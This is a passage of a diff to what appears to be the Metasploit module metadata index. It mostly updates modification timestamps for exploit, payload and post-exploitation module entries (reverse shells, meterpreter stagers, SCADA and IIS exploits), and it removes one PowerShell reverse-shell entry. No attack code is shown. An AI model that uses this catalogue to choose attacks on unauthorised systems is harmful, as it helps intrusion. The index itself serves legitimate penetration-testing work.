"/modules/exploits/windows/ftp/scriptftp_list.rb", "is_install_path": true, "ref_name": "windows/ftp/scriptftp_list", @@ -175323,7 +175613,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb", "is_install_path": true, "ref_name": "windows/http/ca_totaldefense_regeneratereports", @@ -175442,7 +175732,7 @@ "targets": [ "Cogent DataHub < 7.3.5" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/cogent_datahub_command.rb", "is_install_path": true, "ref_name": "windows/http/cogent_datahub_command", @@ -181629,7 +181919,7 @@ "targets": [ "Windows Command" ], - "mod_time": "2026-02-26 17:27:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/manageengine_adaudit_plus_cve_2022_28219.rb", "is_install_path": true, "ref_name": "windows/http/manageengine_adaudit_plus_cve_2022_28219", @@ -182858,7 +183148,7 @@ "targets": [ "Automatic Target" ], - "mod_time": "2026-02-26 17:43:32 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/northstar_c2_xss_to_agent_rce.rb", "is_install_path": true, "ref_name": "windows/http/northstar_c2_xss_to_agent_rce", @@ -183636,7 +183926,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/osb_uname_jlist.rb", "is_install_path": true, "ref_name": "windows/http/osb_uname_jlist", @@ -184574,7 +184864,7 @@ "targets": [ "SAP NetWeaver 7.02 SP6 / Windows with WebClient enabled" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/sap_host_control_cmd_exec.rb", "is_install_path": true, "ref_name": "windows/http/sap_host_control_cmd_exec", @@ -185851,7 +186141,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2026-03-02 11:11:59 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/http/solarwinds_storage_manager_sql.rb", "is_install_path": true, "ref_name": "windows/http/solarwinds_storage_manager_sql", @@ -187767,7 +188057,7 @@ "Windows (Dropper)", "Windows (Command)" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/iis/ms01_026_dbldecode.rb", "is_install_path": true, "ref_name": "windows/iis/ms01_026_dbldecode", @@ -188053,7 +188343,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/iis/msadc.rb", "is_install_path": true, "ref_name": "windows/iis/msadc", @@ -194255,7 +194545,7 @@ "targets": [ "Windows Universal" ], - "mod_time": "2025-06-20 13:20:44 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/exploits/windows/local/pxeexploit.rb", "is_install_path": true, "ref_name": "windows/local/pxeexploit", @@ -195732,7 +196022,7 @@ "targets": [ "Windows 2003 (with tftp client available)" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/altiris_ds_sqli.rb", "is_install_path": true, "ref_name": "windows/misc/altiris_ds_sqli", @@ -197791,7 +198081,7 @@ "targets": [ "HP Data Protector 6.10/6.11/6.20 / Windows" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/hp_dataprotector_install_service.rb", "is_install_path": true, "ref_name": "windows/misc/hp_dataprotector_install_service", @@ -198820,7 +199110,7 @@ "targets": [ "IBM System Director Agent 5.20.3 / Windows with WebClient enabled" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/ibm_director_cim_dllinject.rb", "is_install_path": true, "ref_name": "windows/misc/ibm_director_cim_dllinject", @@ -199339,7 +199629,7 @@ "Windows XP SP3 ENG", "Windows XP SP2 ENG" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/mini_stream.rb", "is_install_path": true, "ref_name": "windows/misc/mini_stream", @@ -199711,7 +200001,7 @@ "targets": [ "Windows x64" ], - "mod_time": "2026-02-26 17:27:09 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/nvidia_mental_ray.rb", "is_install_path": true, "ref_name": "windows/misc/nvidia_mental_ray", @@ -200748,7 +201038,7 @@ "Windows x64", "Windows x86" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb", "is_install_path": true, "ref_name": "windows/misc/vmhgfs_webdav_dll_sideload", @@ -200790,7 +201080,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/misc/webdav_delivery.rb", "is_install_path": true, "ref_name": "windows/misc/webdav_delivery", @@ -201560,7 +201850,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:25:03 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/mssql/mssql_payload.rb", "is_install_path": true, "ref_name": "windows/mssql/mssql_payload", @@ -202141,7 +202431,7 @@ "targets": [ "Windows 2003 SP2 / NetIQ Privileged User Manager 2.3.1" ], - "mod_time": "2026-02-26 17:17:19 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/novell/netiq_pum_eval.rb", "is_install_path": true, "ref_name": "windows/novell/netiq_pum_eval", @@ -204719,7 +205009,7 @@ "targets": [ "GE Proficy CIMPLICITY 7.5 (embedded CimWebServer)" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/scada/ge_proficy_cimplicity_gefebt.rb", "is_install_path": true, "ref_name": "windows/scada/ge_proficy_cimplicity_gefebt", @@ -205605,7 +205895,7 @@ "targets": [ "Rockwell Automation FactoryTalk SE" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-02-15 20:36:01 +0000", "path": "/modules/exploits/windows/scada/rockwell_factorytalk_rce.rb", "is_install_path": true, "ref_name": "windows/scada/rockwell_factorytalk_rce", @@ -205655,7 +205945,7 @@ "targets": [ "Automatic" ], - "mod_time": "2026-02-26 17:39:08 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/exploits/windows/scada/scadapro_cmdexe.rb", "is_install_path": true, "ref_name": "windows/scada/scadapro_cmdexe", @@ -210842,7 +211132,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/bsd/sparc/shell_bind_tcp.rb", "is_install_path": true, "ref_name": "bsd/sparc/shell_bind_tcp", @@ -210873,7 +211163,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/bsd/sparc/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "bsd/sparc/shell_reverse_tcp", @@ -224760,7 +225050,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/cmd/mainframe/apf_privesc_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/apf_privesc_jcl", @@ -224791,7 +225081,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/cmd/mainframe/bind_shell_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/bind_shell_jcl", @@ -224853,7 +225143,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/cmd/mainframe/reverse_shell_jcl.rb", "is_install_path": true, "ref_name": "cmd/mainframe/reverse_shell_jcl", @@ -224884,7 +225174,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2023-06-01 12:30:26 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/cmd/unix/adduser.rb", "is_install_path": true, "ref_name": "cmd/unix/adduser", @@ -225111,7 +225401,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-02-25 09:25:25 +0000", "path": "/modules/payloads/singles/cmd/unix/bind_netcat.rb", "is_install_path": true, "ref_name": "cmd/unix/bind_netcat", @@ -243115,43 +243405,6 @@ "adapted_refname": "windows/x64/download_exec", "staged": false }, - "payload_cmd/windows/powershell/x64/encrypted_shell/reverse_tcp": { - "name": "Powershell Exec, Windows Command Shell, Encrypted Reverse TCP Stager", - "fullname": "payload/cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", - "aliases": [], - "rank": 300, - "disclosure_date": null, - "type": "payload", - "author": [ - "Spencer McIntyre", - "Matt Graeber", - "Shelby Pace" - ], - "description": "Execute an x64 payload from a command via PowerShell.\n\nSpawn a piped command shell (staged).\n\nConnect to MSF and read in stage", - "references": [], - "platform": "Windows", - "arch": "cmd", - "rport": null, - "autofilter_ports": null, - "autofilter_services": null, - "targets": null, - "mod_time": "2022-05-27 16:41:25 +0000", - "path": "/modules/payloads/adapters/cmd/windows/powershell/x64.rb", - "is_install_path": true, - "ref_name": "cmd/windows/powershell/x64/encrypted_shell/reverse_tcp", - "check": false, - "post_auth": false, - "default_credential": false, - "notes": {}, - "session_types": false, - "needs_cleanup": false, - "payload_type": 8, - "adapter_refname": "cmd/windows/powershell/x64", - "adapted_refname": "windows/x64/encrypted_shell/reverse_tcp", - "staged": true, - "stage_refname": "windows/x64/encrypted_shell", - "stager_refname": "windows/x64/encrypted_reverse_tcp" - }, "payload_cmd/windows/powershell/x64/exec": { "name": "Powershell Exec, Windows x64 Execute Command", "fullname": "payload/cmd/windows/powershell/x64/exec", @@ -252683,7 +252936,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-02-20 18:46:18 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/java/bind_tcp.rb", "is_install_path": true, "ref_name": "java/meterpreter/bind_tcp", @@ -252790,7 +253043,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-02-20 18:46:18 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/java/reverse_tcp.rb", "is_install_path": true, "ref_name": "java/meterpreter/reverse_tcp", @@ -252824,7 +253077,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-02-20 18:46:18 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/java/bind_tcp.rb", "is_install_path": true, "ref_name": "java/shell/bind_tcp", @@ -252858,7 +253111,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-02-20 18:46:18 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/java/reverse_tcp.rb", "is_install_path": true, "ref_name": "java/shell/reverse_tcp", @@ -252892,7 +253145,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-02-20 18:46:18 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/java/shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "java/shell_reverse_tcp", @@ -252992,7 +253245,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter_reverse_http", @@ -253025,7 +253278,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/aarch64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/aarch64/meterpreter_reverse_https", @@ -253448,7 +253701,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter_reverse_http", @@ -253481,7 +253734,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter_reverse_https", @@ -253514,7 +253767,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/armle/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/armle/meterpreter_reverse_tcp", @@ -253711,7 +253964,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/mips64/meterpreter_reverse_http", @@ -253744,7 +253997,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/mips64/meterpreter_reverse_https", @@ -253777,7 +254030,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mips64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mips64/meterpreter_reverse_tcp", @@ -253879,7 +254132,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter_reverse_http", @@ -253912,7 +254165,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter_reverse_https", @@ -253945,7 +254198,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mipsbe/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsbe/meterpreter_reverse_tcp", @@ -254184,7 +254437,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter_reverse_http", @@ -254217,7 +254470,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter_reverse_https", @@ -254250,7 +254503,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-16 11:00:03 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/mipsle/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/mipsle/meterpreter_reverse_tcp", @@ -255086,7 +255339,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-12-16 10:36:56 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter_reverse_http", @@ -255119,7 +255372,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-12-16 10:36:56 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter_reverse_https", @@ -255152,7 +255405,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-12-16 10:36:56 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/x64/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x64/meterpreter_reverse_tcp", @@ -256016,7 +256269,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-12-16 10:36:56 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter_reverse_http", @@ -256049,7 +256302,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-12-16 10:36:56 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter_reverse_https", @@ -256082,7 +256335,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-12-16 10:36:56 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/x86/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/x86/meterpreter_reverse_tcp", @@ -256773,7 +257026,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-06 14:07:29 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_http.rb", "is_install_path": true, "ref_name": "linux/zarch/meterpreter_reverse_http", @@ -256806,7 +257059,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-06 14:07:29 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_https.rb", "is_install_path": true, "ref_name": "linux/zarch/meterpreter_reverse_https", @@ -256839,7 +257092,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-01-06 14:07:29 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/linux/zarch/meterpreter_reverse_tcp.rb", "is_install_path": true, "ref_name": "linux/zarch/meterpreter_reverse_tcp", @@ -258669,7 +258922,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-05-09 16:09:15 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/php/exec.rb", "is_install_path": true, "ref_name": "php/exec", @@ -260786,7 +261039,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2024-10-04 10:43:40 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/python/exec.rb", "is_install_path": true, "ref_name": "python/exec", @@ -261862,7 +262115,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-06-30 14:46:51 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/windows/aarch64/exec.rb", "is_install_path": true, "ref_name": "windows/aarch64/exec", @@ -262298,7 +262551,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_http", @@ -262366,7 +262619,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_https", @@ -262793,7 +263046,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_winhttp", @@ -262828,7 +263081,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/custom/reverse_winhttps", @@ -263249,7 +263502,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_http", @@ -263669,7 +263922,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/dllinject/reverse_winhttp", @@ -264300,7 +264553,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_http", @@ -264378,7 +264631,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_https.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_https", @@ -264812,7 +265065,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_winhttp", @@ -264852,7 +265105,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/meterpreter/reverse_winhttps", @@ -269472,7 +269725,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_http.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_http", @@ -269892,7 +270145,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/vncinject/reverse_winhttp", @@ -270137,7 +270390,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_http", @@ -270173,7 +270426,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_https", @@ -270349,7 +270602,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_winhttp", @@ -270383,7 +270636,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/x64/custom/reverse_winhttps", @@ -270448,7 +270701,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/encrypted_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/encrypted_shell/reverse_tcp", @@ -270482,7 +270735,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-20 02:57:34 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/singles/windows/x64/encrypted_shell_reverse_tcp.rb", "is_install_path": true, "ref_name": "windows/x64/encrypted_shell_reverse_tcp", @@ -270845,7 +271098,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_http", @@ -270886,7 +271139,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_https", @@ -271080,7 +271333,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_winhttp", @@ -271118,7 +271371,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/x64/meterpreter/reverse_winhttps", @@ -272472,7 +272725,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_http.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_http", @@ -272511,7 +272764,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_https.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_https", @@ -272662,7 +272915,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttp.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_winhttp", @@ -272699,7 +272952,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-04-19 11:11:01 +0000", + "mod_time": "2026-03-13 14:31:00 +0000", "path": "/modules/payloads/stagers/windows/x64/reverse_winhttps.rb", "is_install_path": true, "ref_name": "windows/x64/vncinject/reverse_winhttps", @@ -274095,7 +274348,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2026-02-26 17:12:49 +0000", + "mod_time": "2026-03-08 17:37:49 +0000", "path": "/modules/post/linux/busybox/set_dns.rb", "is_install_path": true, "ref_name": "linux/busybox/set_dns", @@ -278151,7 +278404,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-05-01 02:32:23 +0000", + "mod_time": "2026-03-10 11:07:19 +0000", "path": "/modules/post/multi/manage/autoroute.rb", "is_install_path": true, "ref_name": "multi/manage/autoroute", @@ -289566,7 +289819,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2025-05-21 10:45:08 +0000", + "mod_time": "2026-02-15 20:36:01 